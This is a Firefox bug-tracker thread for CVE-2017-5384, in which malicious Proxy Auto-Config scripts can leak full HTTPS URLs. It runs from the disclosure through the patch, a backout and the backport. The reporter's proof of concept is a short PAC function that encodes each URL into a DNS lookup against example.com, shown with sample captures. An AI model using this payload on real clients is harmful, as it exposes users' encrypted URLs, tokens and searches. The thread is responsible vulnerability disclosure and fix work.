Closed
Bug 1255474
(CVE-2017-5384)
Opened 9 years ago
Closed 8 years ago
Proxy Auto-Config SSL/TLS Url Disclosure
Categories
(Core :: Networking, defect)
Core
Networking
Tracking
()
RESOLVED
FIXED
mozilla52
People
(Reporter: bugzilla, Assigned: bagder)
References
Details
(Keywords: dev-doc-complete, sec-moderate, Whiteboard: [necko-active][adv-main51+])
Attachments
(1 file, 3 obsolete files)
7.24 KB,
patch
|
mcmanus
:
review+
gchang
:
approval-mozilla-aurora+
|
Details | Diff | Splinter Review |
Description: Proxy Auto-Config SSL/TLS Url Disclosure
Versions Affected: All
Category: Information Disclosure
Reporter: Alex Chapman and Paul Stone of Context Information Security
Summary:
--------
Malicious Proxy Auto-Config (PAC) files allow for the disclosure of SSL/TLS encrypted HTTPS request URLs (including full paths and query strings) from Firefox. The PAC file specifies a Javascript function, FindProxyForURL(url, host), which is called for each URL request in order to determine the required proxy for the connection. This function receives the full URL and hostname for both HTTP and HTTPS requests, which can be leaked by a malicious PAC script. This could expose credentials, tokens, search terms or any other data passed in HTTPS URL query strings to internet based attackers that would otherwise be encrypted. This issue does not affect the default configuration of Firefox.
Analysis:
---------
The PAC file is executed in a limited, sandboxed Javascript environment, but some functions are still available (see http://findproxyforurl.com/pac-functions/), most notably dnsResolve. This allows for the full request URL from affected clients to be leaked to an attacker's DNS server or local network hosts via LLMNR.
Since PAC files must be specified manually (either in Firefox or in the system proxy settings), this issue would require a network-based attacker to be able to intercept network traffic of a client configured with a PAC file. For example, this could be performed by a malicious gateway.
All software that implements the PAC specification as written is affected by this issue. We have has confirmed this issue in a number of browsers and operating systems. Notably however, Internet Explorer does not leak full URLs, instead passing only the protocol and hostname to the 'url' parameter of FindProxyForURL (e.g. https://www.example.com/, not https://www.example.com/index.html?foo=bar). Therefore a possible fix for this issues is to follow this same behaviour.
Proof of Concept:
-----------------
A PAC script can be crafted, as below, which will perform a DNS lookup based on the host and url parameters passed into the function:
function FindProxyForURL(url, host){{
if (dnsResolve((url+'.example.com').replace(/[^a-z0-9_-]+/gi,'.')))
return "DIRECT";
return "DIRECT";
}}
This will perform DNS lookups with the encoded URLs against the example.com DNS server.
See the following example DNS captures from HTTPS requests:
https.incoming.telemetry.mozilla.org.submit.telemetry.0b2fe929-bff9-4421-9a77-9247930853db.main.Firefox.44.0.2.release.20160210153822.v.4.example.com.
https.www.google.com.complete.search.client.firefox.q.secre.example.com.
https.www.google.com.complete.search.client.firefox.q.secret.example.com.
Comment 1•9 years ago
|
||
Patrick, do you think you can find someone to investigate this further?
Flags: needinfo?(mcmanus)
Comment 2•9 years ago
|
||
the pac file is a script - we support fetching it either via file or https which is what you need to do to trust the transport of any script. It generally boils down to that.
the difference in the url parameter vs ie is interesting, but I would still be concerned about compat in making that change. I've seen pac files in bug reports that inspect the full path.
blocking dnsResolve isn't much an answer either. it has compat issues of course, but you can encode the same information in the proxy name returned and used by the script if you like.
Flags: needinfo?(mcmanus)
Updated•9 years ago
|
Group: core-security → network-core-security
Updated•9 years ago
|
Whiteboard: [necko-backlog]
Comment 3•9 years ago
|
||
Triage group decided on sec-moderate rating. The trust model for PAC files isn't known here. If anyone is able to shed more light or provide nuance for this bug, feel free to do so and adjust rating as appropriate.
Keywords: sec-moderate
Reporter | ||
Comment 4•9 years ago
|
||
Over in the equivalent Chrome bug, there's some discussion about using the full URL or truncated URL depending on how a PAC file has been delivered (i.e. local file vs. WPAD vs. HTTPS). They've added some telemetry to Chrome Canary to gather some stats on actual PAC usage. The URL for that bug is https://bugs.chromium.org/p/chromium/issues/detail?id=593759 if anyone has access to it. The issue is worse in Chrome, since Windows users are vulnerable by default.
We've submitted a talk to Black Hat USA that features the PAC vulnerability. Fortunately Firefox users aren't vulnerable to this by default, but it would be good to get this fixed by then if possible.
Reporter | ||
Comment 5•9 years ago
|
||
Apple have now fixed this in OS X 10.11.5 / iOS 9.3.2 (CVE-2016-1801). Chrome has a patch ready to land. For Chrome they decided to simply strip the path and query string for all HTTPS URLs sent to PAC scritps by default, with a flag to revert to the old behaviour.
Comment 6•9 years ago
|
||
we can likely follow the chrome behavior. do you have a link to the bug or the name of someone to coordinate with over there?
Reporter | ||
Comment 7•9 years ago
|
||
Eric Roman wrote the patch, it's in https://bugs.chromium.org/p/chromium/issues/detail?id=593759
Comment 8•9 years ago
|
||
I'm going to ask daniel to followup on this. I've got permissions problems with comment 7 but daniel I'm sure I can find someone in chrome to help with that if you can't..
to be clear, from a compat pov we would want to coordinate or follow chrome in the change.
Flags: needinfo?(daniel)
Reporter | ||
Comment 9•9 years ago
|
||
The commit itself is public, here https://chromium.googlesource.com/chromium/src.git/+/81357b39c643fc746517fd6ce5cb2076b7ddc3f4
Assignee | ||
Comment 10•9 years ago
|
||
That commit pretty much says all we need...
Assignee: nobody → daniel
Flags: needinfo?(daniel)
Assignee | ||
Comment 11•9 years ago
|
||
My thinking is to just cut off the path from the URI that gets passed to the javascript as shown here. It is basically what Chrome does.
Should we offer a prefs to switch back the old behavior for the edge cases where someone actually needs this? I suppose that is the safe approach and Chrome has such a toggle.
Attachment #8757825 -
Flags: feedback?(mcmanus)
Assignee | ||
Comment 12•9 years ago
|
||
I've verified in manual tests that the previous patch cuts off the paths in ordinary web navigations when using a PAC proxy.
If that approach is doable, then we could make it conditional on a pref like this patch (this is a follow-up separate patch meant to be applied after the one I already posted). The pref is named "network.proxy.autoconfig_url.include_path" so if anyone reading this feels strongly about pref naming, here's your chance =)
Updated•9 years ago
|
Whiteboard: [necko-backlog] → [necko-active]
Updated•9 years ago
|
Attachment #8757825 -
Attachment is obsolete: true
Attachment #8757825 -
Flags: feedback?(mcmanus)
Updated•9 years ago
|
Attachment #8758204 -
Flags: review+
Comment 14•9 years ago
|
||
I think this fix is fine. but:
1] there's certainly a chance it breaks test coverage. You're going to have to run it through try and given the balance of what's at risk here I think that's ok. just merge it into another known good wip patchset of yours to avoid flagging it.
2] it needs a test which I think can be done without actually proxying any real transactions.
3] do not release this until chrome releases it. schedule checkin accordingly.
Reporter | ||
Comment 15•9 years ago
|
||
Chrome has merged their fix into the version 52 branch which will be released to stable near the end of July.
Assignee | ||
Comment 16•9 years ago
|
||
My patch caused problems on try: https://treeherder.mozilla.org/#/jobs?repo=try&revision=90e6ef68fe95f05fde6ad71aa1f93476597f2664&selectedJob=21938341
The test case in question that fails there doesn't work on my local machine even without this patch so I'm struggling a bit to understand what's going on.
Assignee | ||
Comment 17•9 years ago
|
||
Updated version that gets the pref variable in a way that doesn't cause an assert and now the try-run looks better: https://treeherder.mozilla.org/#/jobs?repo=try&revision=5a783991ae23&selectedJob=22938456
Attachment #8758204 -
Attachment is obsolete: true
Attachment #8765438 -
Flags: review+
Assignee | ||
Comment 18•9 years ago
|
||
I could use a little help on the process of landing this properly. Not done many security fixes.
Assignee | ||
Comment 19•9 years ago
|
||
Comment on attachment 8765438 [details] [diff] [review]
v2-0001-bug-1244474-cut-off-path-from-URLs-passed-to-PAC-.patch
[Security approval request comment]
How easily could an exploit be constructed based on the patch?
While the patch shows the problem clearly, getting a rouge PAC file into a victim's browser is not easily done but requires a particular situation. Although for someone in that position, reading this patch will make it clear how the flaw can be exploited.
Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?
No.
Which older supported branches are affected by this flaw?
All branches since the dawn of time.
If not all supported branches, which bug introduced the flaw?
Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?
I would assume they will be identical or at least very similar (pref changes tend to need to be given a touch).
How likely is this patch to cause regressions; how much testing does it need?
It is likely to cause some regressions somewhere due to the nature: it cuts off information that is given to javascript functions, although the pref is there to allow users to switch it on in case they really need to.
The patch itself gets tested just by using proxy set with PAC which is not terribly uncommon. It is also tested by the test suite.
Attachment #8765438 -
Flags: sec-approval?
Comment 20•9 years ago
|
||
Comment on attachment 8765438 [details] [diff] [review]
v2-0001-bug-1244474-cut-off-path-from-URLs-passed-to-PAC-.patch
This is a sec-moderate rated bug. As such, it doesn't need sec-approval. That applies to sec-critical and sec-high bugs that affect more than just trunk.
https://wiki.mozilla.org/Security/Bug_Approval_Process
Attachment #8765438 -
Flags: sec-approval?
Assignee | ||
Updated•9 years ago
|
Keywords: checkin-needed
Comment 21•9 years ago
|
||
Keywords: checkin-needed
Comment 22•9 years ago
|
||
daniel - can you confirm you double checked with chrome having shipped this? web compat concerns.
Flags: needinfo?(daniel)
Assignee | ||
Comment 23•9 years ago
|
||
I'll reach out and double-check.
Comment 24•9 years ago
|
||
(In reply to Daniel Stenberg [:bagder] from comment #23)
> I'll reach out and double-check.
I know you're headed for PTO - so back it out if you need to before you go. thanks.
Assignee | ||
Comment 25•9 years ago
|
||
And grrr, my patch used an incorrect bug number!
Assignee | ||
Comment 26•9 years ago
|
||
Ryan Sleevi helped me verify that the chrome change mentioned in comment 9 and comment 7 is targeted for inclusion in chrome 52: https://twitter.com/sleevi_/status/748963983319658497
Flags: needinfo?(daniel)
Reporter | ||
Comment 27•8 years ago
|
||
This has now been patched in Chrome 52 - http://googlechromereleases.blogspot.co.uk/2016/07/stable-channel-update.html
Comment 28•8 years ago
|
||
So this is fine, from a product/compat point of view, to land. Dan or Al can make the call from a security-bug pov.
Comment 30•8 years ago
|
||
I think we need to land this.. bagder this is the process
https://wiki.mozilla.org/Security/Bug_Approval_Process
This bug should probably also be opened given that the issue is public now. dan?
Flags: needinfo?(dveditz)
Assignee | ||
Comment 32•8 years ago
|
||
Merged in mozilla-central here: http://hg.mozilla.org/mozilla-central/log?rev=303393%3Adf6b25262c65
I suggest we lift the security flag on this now. It has been merged. The bug is public knowledge now.
Status: UNCONFIRMED → RESOLVED
Closed: 8 years ago
Resolution: --- → FIXED
Updated•8 years ago
|
Group: network-core-security → core-security-release
Reporter | ||
Comment 33•8 years ago
|
||
I'm not too familiar with the build/release process but http://hg.mozilla.org/mozilla-central/rev/df6b25262c65 says that the patch was backed out. And looking at the PAC code in the tip of mozilla-central, it seems that the patch isn't there - http://hg.mozilla.org/mozilla-central/file/tip/netwerk/base/ProxyAutoConfig.cpp
Assignee | ||
Comment 34•8 years ago
|
||
Yeah, clearly - I didn't spot that. Reopening this again then. "for timeouts in automation.py" the backout says but I don't even know what that means. Anyone knows if/why I can get some logs from those failures ? I didn't spot any such in the try-build before the landing...
Status: RESOLVED → REOPENED
Ever confirmed: true
Resolution: FIXED → ---
Comment 35•8 years ago
|
||
daniel - https://bugzilla.mozilla.org/show_bug.cgi?id=1244474#c21 seems to have the link to the try failure. can we get this remerged?
Flags: needinfo?(daniel)
Assignee | ||
Comment 36•8 years ago
|
||
Ah right, the wrong bug number in the commit message... yeah, I'll get this in shape for another landing.
Assignee | ||
Comment 37•8 years ago
|
||
Okay, here's an updated version of this patch. It took me a while to figure out why it caused so much breakage and in the end it was almost too obvious: the previous version of the patch cut off *the entire path* which left PAC scripts that check for the path part by scanning for a slash to fail. And in our own test suite, we have a lot of such PAC scripts apparently!
This updated version makes sure to leave the first path byte, the slash, in the trimmed URL that is passed to the PAC script. (If it detects a path at all)
Due to me also rearranging things slightly, I figured I'd ask for a refreshed review too before landing. It is still a very small and simple patch. The try run for this incarnation can be seen here: https://treeherder.mozilla.org/#/jobs?repo=try&revision=853e2c1ce6cfec1fe2d9b7c092a32610028244f4&selectedJob=27661859
Attachment #8765438 -
Attachment is obsolete: true
Flags: needinfo?(daniel)
Attachment #8792768 -
Flags: review?(mcmanus)
Comment 38•8 years ago
|
||
Comment on attachment 8792768 [details] [diff] [review]
v3-0001-Bug-1255474-cut-off-path-from-URLs-passed-to-PAC-.patch
Review of attachment 8792768 [details] [diff] [review]:
-----------------------------------------------------------------
thanks
Attachment #8792768 -
Flags: review?(mcmanus) → review+
Assignee | ||
Updated•8 years ago
|
Keywords: checkin-needed
Comment 39•8 years ago
|
||
status-firefox49:
--- → wontfix
status-firefox50:
--- → affected
status-firefox51:
--- → affected
status-firefox52:
--- → affected
status-firefox-esr45:
--- → affected
Flags: needinfo?(dveditz)
Keywords: checkin-needed
Comment 40•8 years ago
|
||
Status: REOPENED → RESOLVED
Closed: 8 years ago → 8 years ago
Resolution: --- → FIXED
Target Milestone: --- → mozilla52
Comment 41•8 years ago
|
||
Hi :bagder,
Is this worth uplifting to 50 beta or 51 aurora?
Flags: needinfo?(daniel)
Assignee | ||
Comment 42•8 years ago
|
||
Good question. I sort of hoped that :dveditz or :abillings would weigh in on that. I would presume that this patch would be fairly easy to uplift.
Flags: needinfo?(daniel)
Comment 43•8 years ago
|
||
Hi :dveditz,
Do you think this fix worth uplifting to 50 beta or 51 aurora?
Flags: needinfo?(dveditz)
Comment 44•8 years ago
|
||
It's too late to uplift this to Beta--this close to building the RC we need to be pretty conservative. Uplifting to aurora at this point seems like a good idea.
Group: core-security-release
Flags: needinfo?(dveditz)
Comment 45•8 years ago
|
||
Mark 50 fixed as it's closed to RC.
Hi :bagder,
Can you help create uplift request for 51 aurora?
Flags: needinfo?(daniel)
Assignee | ||
Comment 46•8 years ago
|
||
Comment on attachment 8792768 [details] [diff] [review]
v3-0001-Bug-1255474-cut-off-path-from-URLs-passed-to-PAC-.patch
Approval Request Comment
[Feature/regressing bug #]: 1255474
[User impact if declined]: This is a 'sec-moderate' issue, if declined the issue will remain unfixed longer.
[Describe test coverage new/current, TreeHerder]: There's no additional test for this change. There's a new pref to disable the new behavior.
[Risks and why]: I can't see any particular risk.
[String/UUID change made/needed]:
Flags: needinfo?(daniel)
Attachment #8792768 -
Flags: approval-mozilla-aurora?
Comment 47•8 years ago
|
||
Comment on attachment 8792768 [details] [diff] [review]
v3-0001-Bug-1255474-cut-off-path-from-URLs-passed-to-PAC-.patch
Fix a sec-moderate. Take it in 51 aurora.
Attachment #8792768 -
Flags: approval-mozilla-aurora? → approval-mozilla-aurora+
Comment 48•8 years ago
|
||
bugherder uplift |
Comment 49•8 years ago
|
||
Documentation needs to reflect this change because it may affect proxy configuration used by IT admins in enterprise.
Keywords: dev-doc-needed
Updated•8 years ago
|
Whiteboard: [necko-active] → [necko-active][adv-main51+]
Updated•8 years ago
|
Alias: CVE-2017-5384
Updated•8 years ago
|
Comment 50•8 years ago
|
||
Updated the url parameter description of FindProxyForURL here: https://developer.mozilla.org/en-US/docs/Mozilla/Projects/Necko/Proxy_Auto-Configuration_(PAC)_file
Mentioned on Fx 51 for developers: https://developer.mozilla.org/en-US/Firefox/Releases/51#Networking
Keywords: dev-doc-needed → dev-doc-complete
Comment 51•8 years ago
|
||
I just updated to 51.0.1 on Windows. I've set network.proxy.autoconfig_url.include_path to true. Even after restarting, FindProxyForUrl is still only being passed the truncated URL.
(this change broke no-ads (schooner.com/~loverso/no-ads/), which wouldn't be a problem if the new parameter was working)
Comment 52•8 years ago
|
||
> (this change broke no-ads (schooner.com/~loverso/no-ads/), which wouldn't be
> a problem if the new parameter was working)
www.schooner.com/~loverso/no-ads
Comment 53•8 years ago
|
||
I see my problem was reported and is fixed 52 beta.
https://bugzilla.mozilla.org/show_bug.cgi?id=1336069
You need to log in
before you can comment on or make changes to this bug.
Description
•